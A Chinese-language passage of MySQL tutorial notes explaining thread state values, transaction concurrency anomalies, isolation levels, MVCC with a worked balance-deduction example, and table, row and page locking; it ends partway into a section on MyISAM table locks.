线程将要求或正在等待通过GET_LOCK()呼叫请求的咨询锁定 。因为 SHOW PROFILE,这个状态意味着线程正在请求锁定(不等待它)。 User sleep: 线程调用了一个 SLEEP()调用。 故障诊断状态(State)值(个人提取) logging slow query: 线程正在向慢查询日志写入语句。 altering table: 服务器正在执行就地ALTER TABLE。 Receiving from client: 服务器正在从客户端读取数据包。 Copying to tmp table: 服务器正在复制磁盘到内存的临时表,是直接在磁盘创建的临时表而并非从内存转到磁盘的临时表。 Copying to tmp table on disk: 对于线程将临时表从内存中更改为基于磁盘的格式存储以节省内存后,又把临时表从磁盘复制到内存时的状态。 Creating tmp table: 线程正在内存或磁盘上创建临时表。如果表在内存中创建,但后来转换为磁盘表,则该操作中的状态将为Copying to tmp table on disk。 Sending data: 线程正在读取和处理SELECT语句的行,并将数据发送到客户端。由于在此状态期间发生的操作往往执行大量的磁盘访问(读取),所以在给定查询的整个生命周期内通常是最长的运行状态。 Sending to client: 服务器正在向客户端写入数据包。 Waiting for commit lock: FLUSH TABLES WITH READ LOCK正在等待提交锁。 Waiting for global read lock: FLUSH TABLES WITH READ LOCK正在等待全局读锁定或read_only正在设置全局系统变量。 Waiting for tables: 线程得到一个通知,表格的底层结构已经改变,需要重新打开表以获得新的结构。但是,要重新打开表格,必须等到所有其他线程都关闭该表。如果另一个线程已使用FLUSH TABLES或下面的语句之一: FLUSH TABLES tbl_name,ALTER TABLE,RENAME TABLE,REPAIR TABLE,ANALYZE TABLE,或OPTIMIZE TABLE都会发生通知。 Waiting for table flush: 线程正在执行FLUSH TABLES并正在等待所有线程关闭它们的表,或线程得到一个通知,表中的底层结构已经改变,并且需要重新打开表以获得新的结构。但是,要重新打开表,必须等到所有其他线程都关闭该表。如果另一个线程已使用FLUSH TABLES或下面的语句之一: FLUSH TABLES tbl_name,ALTER TABLE,RENAME TABLE,REPAIR TABLE,ANALYZE TABLE,或OPTIMIZE TABLE都会发出这个通知。 Waiting for lock_type lock: 服务器正在等待THR_LOCK从元数据锁定子系统获取锁或锁,其中lock_type指示锁的类型。THR_LOCK状态表示: Waiting for table level lock;这些状态表示等待元数据锁定: Waiting for event metadata lock、Waiting for global read lock、Waiting for schema metadata lock、Waiting for stored function metadata lock、Waiting for stored procedure metadata lock、Waiting for table metadata lock、Waiting for trigger metadata lock。 Writing to net: 服务器正在将数据包写入网络,如果一个线程长时间在执行并且一直处于Writing to net状态,那么一直在发送数据包到网络,可以试着调整max_allowed_packet大小。另外,这可能会导致其他线程大量阻塞。 Waiting on cond: 线程等待条件成为true的一般状态,没有特定的状态信息可用。 System lock: 线程已经调用mysql_lock_tables() ,且线程状态从未更新。这是一个非常普遍的状态,可能由于许多原因而发生。例如,线程将请求或正在等待表的内部或外部系统锁。当InnoDB在执行锁表时等待表级锁时,可能会发生这种情况。如果此状态是由于请求外部锁而导致的,并且不使用正在访问相同表的多个mysqld服务器MyISAM,则可以使用该–skip-external-locking选项禁用外部系统锁,但默认禁用外部锁定,因此这个选项很有可能不起作用。因为SHOW PROFILE,这个状态意味着线程正在请求锁定(不等待它)。对于系统表,使用Locking system tables状态。 查询缓存状态(State)值 checking privileges on cached query: 服务器正在检查用户是否具有访问缓存查询结果的权限。 checking query cache for query: 服务器正在检查当前查询是否存在于查询缓存中。 invalidating query cache entries: 查询缓存条目被标记为无效,因为底层表已更改。 sending cached result to client: 服务器正在从查询缓存中获取查询的结果,并将其发送给客户端。 storing result in query cache: 服务器将查询结果存储在查询缓存中。 Waiting for query cache lock: 当会话正在等待采取查询缓存锁定时,会发生此状态。这种情况可能需要执行一些查询缓存操作,如使查询缓存无效的INSERT或DELETE语句,以及RESET QUERY CACHE等等。 事件调度器线程状态(State)值 这些状态适用于事件调度程序线程,创建用于执行调度事件的线程或终止调度程序的线程。 Clearing 调度程序线程或正在执行事件的线程正在终止,即将结束。 Initialized 调度程序线程或将执行事件的线程已初始化。 Waiting for next activation 调度程序具有非空事件队列,但下一次激活是将来。 Waiting for scheduler to stop 线程发出SET GLOBAL event_scheduler=OFF并正在等待调度程序停止。 Waiting on empty queue 调度程序的事件队列是空的,它正在休眠。 其他 除了上述几类,还有如复制主线程状态(State)值、复制从库IO线程状态(State)值、复制从库SQL线程(State)值、复制从库Connect线程(State)值、详情可见: MySQL主从复制线程状态转变
mysql lock
【 事务并发控制 】 如果不对事务进行并发控制,数据库并发操作是会有异常情形,有些可以接受,有些是不能接受的,这里的异常就是特定语境下的,并不一定就是错误什么的。假设有一个order表,有个字段叫count作为计数用,当前值为100 1)第一类丢失更新(Update Lost) 在没有事务隔离的情况下,两个事务都同时更新一行数据,但第二个事务却中途失败退出,导致对数据的两个修改都失效了。 例如: 张三的工资为5000,事务A中获取工资为5000,事务B获取工资为5000,汇入100,并提交数据库,工资变为5100,随后事务A发生异常回滚,恢复张三的工资为5000,这样就导致事务B的更新丢失了。 第一类丢失更新是因为回滚的原因,所以也叫回滚丢失。 此时两个事务同时更新count,两个事务都读取到100,事务一更新成功并提交,count=100+1=101,事务二出于某种原因更新失败了,然后回滚,事务二就把count还原为它一开始读到的100,此时事务一的更新就这样丢失了。 当两个或多个事务选择同一行,然后基于最初选定的值更新该行时,由于每个事务都不知道其他事务的存在,就会发生丢失更新问题--最后的更新覆盖了由其他事务所做的更新。例如,两个编辑人员制作了同一文档的电子副本。每个编辑人员独立地更改其副本,然后保存更改后的副本,这样就覆盖了原始文档。最后保存其更改副本的编辑人员覆盖另一个编辑人员所做的更改。如果在一个编辑人员完成并提交事务之前,另一个编辑人员不能访问同一文件,则可避免此问题。"更新丢失"通常是应该完全避免的。但防止更新丢失,并不能单靠数据库事务控制器来解决,需要应用程序对要更新的数据加必要的锁来解决,因此防止更新丢失应该是应用的责任 2)脏读(Dirty Read) 脏读指当一个事务正在访问数据,并对数据进行了修改,而这种修改还没有提交到数据库中,这时另一个事务也访问这个数据,然后使用了这个数据。 例如: 张三的工资为5000,事务A中把他的工资改为8000,但事务A尚未提交。与此同时事务B正在读取张三的工资,读取到张三的工资为8000。随后事务A发生异常回滚,张三的工资又回滚为5000。最后事务B读取到的张三工资为8000的数据即为脏数据,事务B做了一次脏读。 脏读此种异常是因为一个事务读取了另一个事务修改了但是未提交的数据。 一个事务正在对一条记录做修改,在这个事务完成并提交前,这条记录的数据就处于不一致状态;这时,另一个事务也来读取同一条记录,如果不加控制,第二个事务读取了这些"脏"数据,并据此做进一步的处理,就会产生未提交的数据依赖关系。这种现象被形象地叫做"脏读"。 举个例子,事务一更新了count=101,但是没有提交,事务二此时读取count,值为101而不是100,然后事务一出于某种原因回滚了,然后第二个事务读取的这个值就是噩梦的开始。 3)不可重复读(Not Repeatable Read) 指在一个事务内多次读同一数据。在这个事务还没有结束时,另外一个事务也访问该同一数据。那么在第一个事务中的两次读数据之间,由于第二个事务的修改,那么第一个事务两次读到的的数据可能是不一样的。这样就发生了在一个事务内两次读到的数据是不一样的,因此称为是不可重复读。 例如: 在事务A中读取到张三的工资为5000,操作没有完成,事务还没提交。与此同时事务B把张三的工资改为8000,并提交了事务。随后在事务A中再次读取张三的工资,此时工资变为8000 不可重复读此种异常是一个事务对同一行数据执行了两次或更多次查询,但是却得到了不同的结果,也就是在一个事务里面不能重复即多次读取一行数据,如果这么做了不能保证每次读取的结果是一样的,有可能一样有可能不一样。造成这个结果是在两次查询之间有别的事务对该行数据做了更新操作。举个例子,事务一先查询了count,值为100,此时事务二更新了count=101,事务一再次读取count,值就会变成101,两次读取结果不一样。 4)第二类丢失更新(Second Update Lost) 不可重复读的特例,两个并发事务同时读取同一行数据,然后其中一个对它进行修改提交,而另一个也进行了修改提交,这就会造成第一次写操作失效。 例如: 在事务A中读取到张三的存款为5000,操作没有完成,事务还没提交。与此同时事务B存储1000,把张三的存款改为6000,并提交了事务。随后在事务A中存储500,把张三的存款改为5500,并提交了事务,这样事务A的更新覆盖了事务B的更新。 第二类丢失更新是因为更新被其他事务给覆盖了,也可以叫覆盖丢失。 举个例子,两个事务同时更新count,都读取100这个初始值,事务一先更新成功并提交,count=100+1=101,事务二后更新成功并提交,count=100+1=101,由于事务二count还是从100开始增加,事务一的更新就这样丢失了。 5)幻读(Phantom Read) 指当事务不是独立执行时发生的一种现象,例如第一个事务对一个表中的数据进行了修改,这种修改涉及到表中的全部数据行。同时第二个事务也修改这个表中的数据,这种修改是向表中插入一行新数据。那么以后就会发生操作第一个事务的用户发现表中还有没有修改的数据行,就好象发生了幻觉一样。 例如: 目前工资为5000的员工有10人,事务A读取所有工资为5000的人数为10人。此时事务B插入一条工资也为5000的记录。这事务A再次读取工资为5000的员工,记录为11人。此时产生了幻读。 幻读和不可重复读有点像,只是针对的不是数据的值而是数据的数量。此种异常是一个事务在两次查询的过程中数据的数量不同,让人以为发生幻觉 举个例子,事务一查询order表有多少条记录,事务二新增了一条记录,然后事务一查了一下order表有多少记录,发现和第一次不一样,这就是幻读。 提醒: 不可重复读的重点是修改,同样的条件,读取过的数据,再次读取出来发现值不一样了 幻读的重点在于新增或删除,同样的条件,第1次和第2次读出来的记录数不一样 "脏读"、"不可重复读"和"幻读",其实都是数据库读一致性问题,必须由数据库提供一定的事务隔离机制来解决 【 数据库事务隔离级别 】 其实上面几种情况并不是一定都要避免的,具体看业务要求,包括数据库的负载都会影响你的决定。 各种异常情况都是多个事务之间相互影响造成的,这说明两个事务之间需要某种方式将他们从某种程度上分开,降低直至避免相互影响。这时候数据库事务隔离级别就粉墨登场了,而数据库的隔离级别实现一般是通过数据库锁实现的。 数据库实现事务隔离的方式,基本上可分为以下两种 1、在读取数据前对其加锁,阻止其他事务对数据进行修改。 2、不用加任何锁,通过一定机制生成一个数据请求时间点的一致性数据快照(Snapshot),并用这个快照来提供一定级别(语句级或事务级)的一致性读取。从用户的角度来看好像是数据库可以提供同一数据的多个版本,因此这种技术叫做数据多版本并发控制(MultiVersion Concurrency Control,简称MVCC或MCC),也经常称为多版本数据库。 数据库的事务隔离越严格,并发副作用越小,但付出的代价也就越大,因为事务隔离实质上就是使事务在一定程度上串行化进行,这显然与并发是矛盾的,同时不同的应用对读一致性和事务隔离程度的要求也是不同的,比如许多应用对不可重复读和幻读并不敏感,可能更关心数据并发访问的能力。 为了解决"���离"与"并发"的矛盾,ISO/ANSI SQL92定义了4个事务隔离级别 SET [SESSION|GLOBAL] TRANSACTION ISOLATION LEVEL READ UNCOMMITTED | READ COMMITTED | REPEATABLE READ | SERIALIZABLE 1、不带SESSION、GLOBAL的SET命令: 只对下一个事务有效 2、SET SESSION: 为当前会话设置隔离模式 3、SET GLOBAL: 为以后新建的所有MYSQL连接设置隔离模式(当前连接不包括在内) 修改与查询MySQL事务隔离级别的方法: SELECT @@global.tx_isolation; # 查全局事务隔离级别 SELECT @@session.tx_isolation; # 查当前会话事务隔离级别 SELECT @@tx_isolation; # 查当前事务隔离级别 set global transaction isolation level read committed; # 设置全局隔离级别 set session transaction isolation level read committed; # 设置当前会话隔离级别 读未提交(Read Uncommitted) 事务最低的隔离级别,充许另外一个事务可以看到这个事务未提交的数据。 解决第一类丢失更新的问题,但会出现脏读、不可重复读、第二类丢失更新的问题,幻读 即脏读,一个事务修改了一行,另一个事务也可以读到该行。 如果第一个事务执行了回滚,那么第二个事务读取的就是从来没有正式出现过的值。 该隔离级别指即使一个事务的更新语句没有提交,但是别的事务可以读到这个改变,几种异常都可能出现,极易出错,没有安全性可言,基本不会使用。 读已提交(Read Committed) 保证一个事务修改的数据提交后才能被另外一个事务读取,即另外一个事务不能读取该事务未提交的数据。 解决第一类丢失更新和脏读的问题,但会出现不可重复读、第二类丢失更新的问题,幻读问题 即不可重复读,试图通过只读取提交的值的方式来解决脏读的问题,但是这又引起了不可重复读取的问题。 一个事务执行一个查询,读取了大量的数据行。在它结束读取之前,另一个事务可能完成了对数据行的更改。当第一个事务试图再次执行同一个查询,服务器就会返回不同的结果。(未加锁) 该隔离级别指一个事务只能看到其他事务的已经提交的更新,看不到未提交的更新,消除了脏读和第一类丢失更新,这是大多数数据库的默认隔离级别,如Oracle,Sqlserver。 可重复读(Repeatable Read)默认的事务隔离级别为repeatable_read 保证一个事务相同条件下前后两次获取的数据是一致的 解决第一类丢失更新,脏读、不可重复读、第二类丢失更新的问题,但会出幻读。 该隔离级别指一个事务中进行两次或多次同样的对于数据内容的查询,得到的结果是一样的,但不保证对于数据条数的查询是一样的,只要存在读改行数据就禁止写,消除了不可重复读和第二类更新丢失,这是Mysql数据库的默认隔离级别。 即可重复读,在一个事务对数据行执行读取或写入操作时锁定了这些数据行。 但是这种方式又引发了幻读的问题。因为只能锁定读取或写入的行,不能阻止另一个事务插入数据,后期执行同样的查询会产生更多的结果 串行化(Serializable) 事务执行的时候不允许别的事务并发执行,完全串行化的读,只要存在读就禁止写,但可以同时读,消除了幻读。这是事务隔离的最高级别,虽然最安全最省心,但是效率太低,一般不会用。 各种隔离级别对各异常的控制能力: 级别\异常 第一类更新丢失 脏读 不可重复读 第二类丢失更新 幻读 读未提交 Y Y Y Y Y 读已提交 N N Y Y Y 可重复读 N N N N Y 串行化 N N N N N MySQL可重复读 事故: 余额多扣,并发执行发生余额多扣,即实际余额明明小于扣减金额,但是却做了余额更新操作,最后导致余额变成了负数 现有一个交易系统,每次产生交易都会更新相应账户的余额,出账扣减余额,入账增加余额。 为了保证资金安全,余额发生扣减时需要比较现有余额与扣减金额大小,若扣减金额大于现有余额,扣减余额不足,扣减失败。 账户表结构如下: CREATE TABLE `account` ( `id` bigint(20) NOT NULL, `balance` bigint(20) DEFAULT NULL, PRIMARY KEY (`id`) ) ENGINE = InnoDB DEFAULT CHARSET = utf8mb4 COLLATE = utf8mb4_bin; 扣减余额时sql语序如下所示: 时序 --- 事务 t1 --- set autocommit=0; t2 --- select * from account where id = 1; 查询校验当前账户权限 t3 --- select * from account where id = 1 for update; 防止并发更新余额,写锁锁住当前账户的该行记录,若加锁成功,其他线程的若也执行到 t3,将会被阻塞,直到前一个线程事务提交 t4 --- 进行其他操作 t5 --- select * from account where id = 1; 相同查询多次是因为这些SQL语序并不在同个方法内,并且有些方法被抽出复用,所以导致相同查询结果没办法往下传递,所以只得再次从数据库中查询 t6 --- 判断扣减金额是否大于余额 t7 --- update account set balance = balance - 100 where id = 1; 执行更新操作 t8 --- commit; 重现并发这种情况,假设有两个事务正在发执行该语序,执行顺序如图所示。 数据库使用的是 MySQL,默认事务隔离等级,即 RR。数据库记录为 id=1 balance=1000,假设只有当时只有这两个事务在执行。 时序 ------------------- 事务1 ----------------------------------------- 事务2 t0 --- set autocommit=0; t1 --- -------------------------------------------------------------- set autocommit=0; t2 --- select * from account where id = 1; t3 --- -------------------------------------------------------------- select * from account where id = 1; t4 --- select * from account where id = 1 for update; t5 --- -------------------------------------------------------------- select * from account where id = 1 for update; t6 --- select * from account where id = 1; t7 --- t8 --- update account set balance = balance - 100 where id = 1; t9 --- commit; t10 --- t11 --- -------------------------------------------------------------- select * from account where id = 1; t12 --- -------------------------------------------------------------- update account set balance = balance - 100 where id = 1; t13 --- -------------------------------------------------------------- commit; 先思考一下,t2,t3,t4,t5,t6,t11 时刻余额多少。 事务隔离等级RR下的答案 事务1的查询结果为: t2 (1,1000) t4 (1,1000) t6 (1,1000) 事务2的查询结果为: t3 (1,1000) t5 (1,900) t11 (1,1000) 接着将事务隔离等级修改成RC 事务1的查询结果为: t2 (1,1000) t4 (1,1000) t6 (1,1000) 事务2的查询结果为: t3 (1,1000) t5 (1,900) t11 (1,900) 为什么换了事务隔离等级结果却不太一样?先了解一下MySQL的相关原理: MVCC、一致性视图、快照读与当前读 1、MVCC 先来看下一个简单的例子,事务隔离等级为RR,id=1 balance=1000 时序 ------------------- 事务1 ----------------------------------------- 事务2 t1 --- set autocommit=0; t2 --- -------------------------------------------------------------- set autocommit=0; t3 --- t4 --- update account set balance = balance - 100 where id = 1; t5 --- -------------------------------------------------------------- select * from account where id = 1; t6 --- commit; t7 --- -------------------------------------------------------------- commit; 事务 1 将 id=1 记录 balance 更新为 900,接着事务 2 在 t5 时刻查询该行记录结果,很显然该行记录应该为 id=1 balance=1000。 如果 t5 查询最新结果 id=1 balance=900,这就读取到事务 1 未提交的数据,显然不符合当前事务隔离级别。 从上面例子可以看到 id=1 的记录存在两个版本,事务 1 版本记录为 balance=1000 ,事务 2 版本记录为 balance=900。 上述功能,MySQL 使用 MVCC 机制实现功能。 MVCC: Multiversion concurrency control,多版本并发控制。摘录一段淘宝数据库月报的解释: 多版本控制: 指的是一种提高并发的技术。最早的数据库系统,只有读读之间可以并发,读写,写读,写写都要阻塞。引入多版本之后,只有写写之间相互阻塞,其他三种操作都可以并行,这样大幅度提高了InnoDB的并发度。在内部实现中,与Postgres在数据行上实现多版本不同,InnoDB是在undolog中实现的,通过undolog可以找回数据的历史版本。找回的数据历史版本可以提供给用户读(按照隔离级别的定义,有些读请求只能看到比较老的数据版本),也可以在回滚的时候覆盖数据页上的数据。在InnoDB内部中,会记录一个全局的活跃读写事务数组,其主要用来判断事务的可见性。 可以看到MVCC主要用来提高并发,还可以用来读取老版本数据。 在学习MVCC原理之前,首先需要了解MySQL记录结构。 DB_TRX_ID DB_ROLL_PTR ROW_ID 1 1000 行记录 如上所示,account表一行记录,除了真实数据之外,还会存在三个隐藏字段,用来记录额外信息。 DB_TRX_ID:事务id。 DB_ROLL_PTR: 回滚指针,指向undolog。 ROW_ID: 行id,与此次无关。 MySQL InnoDB里面每个事务都会有一个唯一事务ID,它在事务开始的时候会跟InnoDB的事务系统申请的,并且严格按照顺序递增的。 每次事务更新数据时,将会生成一个新的数据版本,然后会把当前的事务id 赋值给当前记录的DB_TRX_ID,并且数据更新记录(1,1000---->1,900)将会记录在undo log(回滚日志)中,然后使用当前记录的 DB_ROLL_PTR 指向 und olog。 这样 MySQL 就可以通过 DB_ROLL_PTR 找到 undolog 推导出之前版本记录内容。 查找过程 若需要知道V1版本记录,首先根据当前版本V3的DB_ROLL_PTR找到undolog,然后根据undolog内容,计算出上一个版本V2。以此类推,最终找到V1这个版本记录。 V1,V2并不是物理记录,没有真实存在,仅仅具有逻辑意义。 一行数据记录可能同时存在多个版本,但并不是所有记录都能对当前事务可见。不然上面t5就可能查询到最新的数据。所以查找数据版本时候MySQL必须判断数据版本是否对当前事务可见。 一致性视图 MySQL在事务开始后建立一个一致性视图(并不是立刻建立),在这个视图中会保存所有活跃的事务(还未提交的事务)。 1、未提交事务生成的记录版本,不可见。 2、视图生成前,已提交事务生成记录版本可见。 3、视图生成后,新事务生成记录版本不可见。 4、自身事务更新永远可见。 一致性视图只会在RR与RC下才会生成,对于RR来说,一致性视图会在第一个查询语句的时候生成。而对于RC来说每个查询语句都会重新生成视图。 当前读与快照读 MySQL使用MVCC机制,可以读取之前版本数据。这些旧版本记录不会且也无法再去修改,就像快照一样,所以将这种查询称为快照读。 当然并不是所有查询都是快照读,select .... for update/ in share mode这类加锁查询只会查询当前记录最新版本数据,将这种查询称为当前读。 问题分析 讲完原理之后,回过头分析一下上面查询结果的原因,将上面答案再贴过来。 时序 ------------------- 事务1 ----------------------------------------- 事务2 t0 --- set autocommit=0; t1 --- -------------------------------------------------------------- set autocommit=0; t2 --- select * from account where id = 1; (1, 1000) t3 --- -------------------------------------------------------------- select * from account where id = 1; (1, 1000) t4 --- select * from account where id = 1 for update; (1, 1000) t5 --- -------------------------------------------------------------- select * from account where id = 1 for update; (1, 900) t6 --- select * from account where id = 1; (1, 1000) t7 --- t8 --- update account set balance = balance - 100 where id = 1; t9 --- commit; t10 --- t11 --- -------------------------------------------------------------- select * from account where id = 1; (1, 1000) t12 --- -------------------------------------------------------------- update account set balance = balance - 100 where id = 1; t13 --- -------------------------------------------------------------- commit; 事务隔离级别为RR,t2,t3时刻两个事务由于查询语句,分别建立了一致性视图。 t4时刻,由于事务1使用select.. for update 为 id=1 这一行上了一把锁,然后获取到最新结果。而t5时刻,由于该行已被上锁,事务2必须等待事务1释放锁才能继续执行。 t6时刻根据一致性视图,不能读取到其他事务提交的版本,所以数据没变。t8时刻余额扣减100,t9时刻提交事务。 此时最新版本记录为id=1 balance=900。 由于事务1事务已提交,行锁被释放,t5成功获取到锁。由于t5是当前读,所以查询的结果为最新版本数据(1,900)。 重点来了,当前这条记录的最新版本数据为(1,900),但是最新版本事务id,却是事务2创建之后未提交的事务,位于活跃事务数组中。所以最新记录版本对于事务2是不可见的。 没办法只能根据undolog去读取上一版本记录 (1,1000) ,这个版本记录刚好对于事务2可见,所以t11的记录为 (1,1000)。 而当将事务隔离等级修改成RC,每次都会重新生成一致性视图。所以t11时刻重新生成了一致性视图,这时候事务1已提交,当前最新版本的记录对于事务2可见,所以t11的结果将会变为(1,900)。 总结 MySQL默认事务隔离等级为RR,每一行数据(InnoDB)的都可以有多个版本,而每个版本都有独一的事务id。 MySQL通过一致性视图确保数据版本的可见性,相关规则总结如下: 对于RR事务隔离等级,普通查询仅能查到事务启动前就已经提交完成的版本数据。 对于RC事务隔离等级,普通查询可以查到查询语句启动前就已经提交完成的版本数据。 当前读总是读取最新版本的数据。 RR隔离级别增加了间隙锁,避免了幻读,并且阻止了不可重复读,让同一个事务里面的查询和修改都是一致的.mysql默认的隔离级别就是RR. 虽然说RC隔离级别在同一个事务内会存在查询出不同数据的现象,但是这些数据都必然是提交过的,是真实存进硬盘的数据.所以也不用过分担忧,而且RC隔离级别反而降低了锁粒度,也不是毫无用处.oracle和sql server默认的隔离级别类似RC. 所以说也不是说RC就绝对不好,要看场景来选择 操作流程说明:因系统高并发下,存在多个会话可能同时更新同一条记录的问题,但是值是一样的.问题就在于事务里面存在RR隔离级别转换成RC的问题,造成数据返回不正确,导致代码返回错误,但是数据是准确的 正常的RR事务: #开启事务1 mysql> begin; Query OK, 0 rows affected (0.00 sec) #开启事务2 mysql> begin; Query OK, 0 rows affected (0.00 sec) #事务1当前记录是一致的 mysql> select express_cost from m_order_sub where order_sub_no = 'O152022324482662671828'; +--------------+ | express_cost | +--------------+ | 2000 | +--------------+ 1 row in set (0.02 sec) #事务2当前记录是一致的 mysql> select express_cost from m_order_sub where order_sub_no = 'O152022324482662671828'; +--------------+ | express_cost | +--------------+ | 2000 | +--------------+ 1 row in set (0.02 sec) #事务1先更新一条记录 mysql> update m_order_sub set express_cost = 3000 where order_sub_no = 'O152022324482662671828'; Query OK, 1 row affected (0.01 sec) Rows matched: 1 Changed: 1 Warnings: 0 #事务2后更新一条记录,但是另一边并没有commit,所以这边处于等待释放锁 update m_order_sub set express_cost = 3000 where order_sub_no = 'O152022324482662671828'; #事务1再查询一次,记录成功修改 mysql> select express_cost from m_order_sub where order_sub_no = 'O152022324482662671828'; +--------------+ | express_cost | +--------------+ | 3000 | +--------------+ 1 row in set (0.00 sec) #事务1提交事务 mysql> commit; Query OK, 0 rows affected (0.01 sec) #事务2然后锁释放后这边的更新也执行完了,但是因为更新的值是一样的,所以并没有修改到记录,Changed为0 Query OK, 0 rows affected (12.40 sec) Rows matched: 1 Changed: 0 Warnings: 0 #事务1再查询一次,记录成功修改,是最新数据 mysql> select express_cost from m_order_sub where order_sub_no = 'O152022324482662671828'; +--------------+ | express_cost | +--------------+ | 3000 | +--------------+ 1 row in set (0.00 sec) #事务2查询结果是旧的,因为记录并没有被修改到,所以显示的也是事务开始时的数据 mysql> select express_cost from m_order_sub where order_sub_no = 'O152022324482662671828'; +--------------+ | express_cost | +--------------+ | 2000 | +--------------+ 1 row in set (0.00 sec) #事务2提交并退出事务 mysql> commit; Query OK, 0 rows affected (0.13 sec) #事务2这时就显示最新的数据了 mysql> select express_cost from m_order_sub where order_sub_no = 'O152022324482662671828'; +--------------+ | express_cost | +--------------+ | 3000 | +--------------+ 1 row in set (0.00 sec) 这是一个正常的情况,因为记录并没有被修改到,所以显示的也是事务开始时的数据,保证了RR级别的可重复读特性. 【 数据库锁 】 数据库锁是为了处理并发问题,因为数据库是一个多用户共享的资源,当出现并发时就会导致出现各种各样的问题,就像程序代码一样,出现多线程并发的时候,如果不做特殊控制的话就会出现意外的事情,比如脏数据、修改丢失等问题。所以数据库并发需要使用事务来控制,事务并发问题需要数据库锁来控制,所以数据库锁是跟并发控制和事务联系在一起的。 事务是恢复和并发控制的基本单位 |--表级锁(锁定整个表) |--页级锁(锁定一页) |--行级锁(锁定一行) |--共享锁(S锁,MyISAM叫做读锁) |--排他锁(X锁,MyISAM叫做写锁) |--悲观锁(抽象性,不真实存在这个锁) |--乐观锁(抽象性,不真实存在这个锁) 数据库锁定机制就是数据库为了保证数据的一致性,而使各种共享资源在被并发访问变得有序所设计的一种规则。 对于任何一种数据库来说都需要有相应的锁定机制,所以MySQL自然也不能例外。 MySQL数据库由于其自身架构的特点,存在多种数据存储引擎,每种存储引擎所针对的应用场景特点都不太一样,为了满足各自特定应用场景的需求,每种存储引擎的锁定机制都是为各自所面对的特定场景而优化设计,所以各存储引擎的锁定机制也有较大区别。 MySQL各存储引擎使用了三种类型(级别)的锁定机制: 表级锁定,行级锁定和页级锁定。 MyISAM 操作数据都是使用的表锁,更新一条记录就要锁整个表,导致性能较低,并发不高。当然同时它也不会存在死锁问题。 而InnoDB与MyISAM的最大不同有两点: 一是InnoDB支持事务,二是InnoDB采用了行级锁,也就是需要修改哪行就可以只锁定哪行 1.表级锁定(table-level) 表级别的锁定是MySQL各存储引擎中最大颗粒度的锁定机制。该锁定机制最大的特点是实现逻辑非常简单,带来的系统负面影响最小。所以获取锁和释放锁的速度很快。由于表级锁一次会将整个表锁定,所以可以很好的避免死锁问题。 当然,锁定颗粒度大所带来最大的负面影响就是出现锁定资源争用的概率也会最高,致使并大度大打折扣。 使用表级锁定的主要是MyISAM,MEMORY,CSV等一些非事务性存储引擎。 2.行级锁定(row-level) 行级锁定最大的特点就是锁定对象的颗粒度很小,也是目前各大数据库管理软件所实现的锁定颗粒度最小的。由于锁定颗粒度很小,所以发生锁定资源争用的概率也最小,能够给予应用程序尽可能大的并发处理能力而提高一些需要高并发应用系统的整体性能。 虽然能够在并发处理能力上面有较大的优势,但是行级锁定也因此带来了不少弊端。由于锁定资源的颗粒度很小,所以每次获取锁和释放锁需要做的事情也更多,带来的消耗自然也就更大了。此外行级锁定也最容易发生死锁。 使用行级锁定的主要是InnoDB存储引擎。 3.页级锁定(page-level) 页级锁定是MySQL中比较独特的一种锁定级别,在其他数据库管理软件中也并不是太常见。页级锁定的特点是锁定颗粒度介于行级锁定与表级锁之间,所以获取锁定所需要的���源开销,以及所能提供的并发处理能力也同样是介于上面二者之间。另外页级锁定和行级锁定一样会发生死锁。 在数据库实现资源锁定的过程中,随着锁定资源颗粒度的减小,锁定相同数据量的数据所需要消耗的内存数量是越来越多的,实现算法也会越来越复杂。不过,随着锁定资源颗粒度的减小,应用程序的访问请求遇到锁等待的可能性也会随之降低,系统整体并发度也随之提升。 使用页级锁定的主要是BerkeleyDB存储引擎。 总的来说,MySQL这3种锁的特性可大致归纳如下: 表级锁: 开销小,加锁快;不会出现死锁;锁定粒度大,发生锁冲突的概率最高,并发度最低; 行级锁: 开销大,加锁慢;会出现死锁;锁定粒度最小,发生锁冲突的概率最低,并发度也最高; 页面锁: 开销和加锁时间界于表锁和行锁之间;会出现死锁;锁定粒度界于表锁和行锁之间,并发度一般。 表级锁: 一次性插入和更新较多数据时,当很多操作都是读表时可以选择。但当select语句时间过长或update和delete语句短而且次数多时,不适用,会各种锁冲突。 行级锁: 在很多线程请求不同记录时减少冲突锁。事务回滚时减少改变数据。使长时间对单独的一行记录加锁成为可能。比页级锁和表级锁消耗更多的内存。当需要频繁对大部分数据做 GROUP BY 操作或需要频繁扫描整个表时不适合 适用: 表级锁更适合于以查询为主,只有少量按索引条件更新数据的应用,如Web应用; 行级锁则更适合于有大量按索引条件并发更新少量不同数据,同时又有并发查询的应用,如一些在线事务处理(OLTP)系统。 锁包括行级锁和表级锁 行级锁是一种排他锁,防止其他事务修改此行;在使用以下语句时,Oracle会自动应用行级锁: INSERT、UPDATE、DELETE、SELECT … FOR UPDATE [OF columns] [WAIT n | NOWAIT]; SELECT … FOR UPDATE语句允许用户一次锁定多条记录进行更新 使用COMMIT或ROLLBACK语句释放锁 表级锁又分为5类: 行共享 (ROW SHARE) – 禁止排他锁定表 行排他(ROW EXCLUSIVE) – 禁止使用排他锁和共享锁 共享锁(SHARE) - 锁定表,对记录只读不写,多个用户可以同时在同一个表上应用此锁 共享行排他(SHARE ROW EXCLUSIVE) – 比共享锁更多的限制,禁止使用共享锁及更高的锁 排他(EXCLUSIVE) – 限制最强的表锁,仅允许其他用户查询该表的行。禁止修改和锁定表。
表级锁定
MyISAM存储引擎使用的锁定机制完全是由MySQL提供的表级锁定实现 1.MySQL表级锁的锁模式 MySQL的表级锁有两种模式: 表共享读锁(Table Read Lock)和表独占写锁(Table Write Lock) 锁模式的兼容性: 对MyISAM表的读操作,不会阻塞其他用户对同一表的读请求,但会阻塞对同一表的写请求; 对MyISAM表的写操作,则会阻塞其他用户对同一表的读和写操作; MyISAM表的读操作与写操作之间,以及写操作之间是串行的。当一个线程获得对一个表的写锁后,只有持有锁的线程可以对表进行更新操作。其他线程的读、写操作都会等待,直到锁被释放为止。 2.如何加表锁 MyISAM在执行查询语句(SELECT)前,会自动给涉及的所有表加读锁,在执行更新操作(UPDATE、DELETE、INSERT等)前,会自动给涉及的表加写锁,这个过程并不需要用户干预,因此用户一般不需要直接用LOCK TABLE命令给MyISAM表显式加锁。 3.MyISAM表锁优化建议 